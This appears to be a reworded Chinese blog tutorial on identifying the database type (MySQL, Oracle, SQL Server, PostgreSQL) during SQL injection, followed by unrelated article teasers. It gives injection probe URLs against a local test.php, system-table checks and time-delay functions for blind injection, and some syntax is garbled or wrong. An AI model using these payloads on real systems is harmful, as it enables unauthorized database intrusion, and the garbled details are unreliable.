首页 » 网站建设 » php注解sql技巧_SQL注入若何判断数据库类型

php注解sql技巧_SQL注入若何判断数据库类型

访客 2024-11-25 0

扫一扫用手机浏览

文章目录 [+]
小编序言

在进行SQL注入之前,首先该当判断数据库的类型,不同的数据库在处理一些函数的时候会有一些奇妙的差别,只有判断出是哪种数据库类型,这样才能根据数据库的类型选择得当的函数,更随意马虎实现SQL注入。

php注解sql技巧_SQL注入若何判断数据库类型

#前端与数据库类型

asp:SQL Server,Access.net:SQL Serverphp:MySQL,PostgreSQLjava:Oracle,MySQL#根据端口判断

Oracle:默认端口 1521SQL Server:默认端口 1433MySQL:默认端口 3306#根据数据库特有函数来判断#len和length

len():SQL Server 、MySQL以及db2返回长度的函数。
length():Oracle和INFORMIX返回长度的函数。
#version和@@version

version():MySQL查询版本信息的函数@@version:MySQL和SQL Server查询版本信息的函数#substring和substr

MySQL两个函数都可以利用Oracle只可调用substrSQL Server只可调用substring#根据分外符号进行判断

/ 是MySQL数据库的注释符-- 是Oracle和SQL Server支持的注释符; 是子句查询标识符,Oracle不支持多行查询,若返回缺点,则解释可能是Oracle数据库# 是MySQL中的注释符,返回缺点则解释可能不是MySQL,其余也支持-- 和//#根据数据库对字符串的处理办法判断#MySQL

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab'#Oracle

http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab'http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab' #SQL Server

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' #根据数据库特有的数据表来判断#MySQL(version>5.0)

http://127.0.0.1/test.php?id=1 and (select count() from information_schema.TABLES)>0 and 1=1#Oracle

http://127.0.0.1/test.php?id=1 and (select count() from sys.user_tables)>0 and 1=1#SQL Server

http://127.0.0.1/test.php?id=1 and (select count() from sysobjects)>0 and 1=1#根据盲注特殊函数判断#MySQL

BENCHMARK(1000000,ENCODE('QWE','ASD'))SLEEP(5)#PostgreSQL

PG_SLEEP(5)GENERATE_SERIES(1,1000000)#SQL Server

WAITFOR DELAY '0:0:5'

php注解sql技巧_SQL注入若何判断数据库类型
(图片来自网络侵删)
标签:

相关文章

微信第三方登录便捷与安全的完美融合

社交平台已成为人们日常生活中不可或缺的一部分。微信作为我国最受欢迎的社交软件之一,拥有庞大的用户群体。为了方便用户在不同平台间切换...

网站建设 2025-02-18 阅读1 评论0

广东高速代码表解码高速公路管理智慧

高速公路作为国家交通动脉,连接着城市与城市,承载着巨大的物流和人流。广东作为我国经济大省,高速公路网络密布,交通流量巨大。为了更好...

网站建设 2025-02-18 阅读1 评论0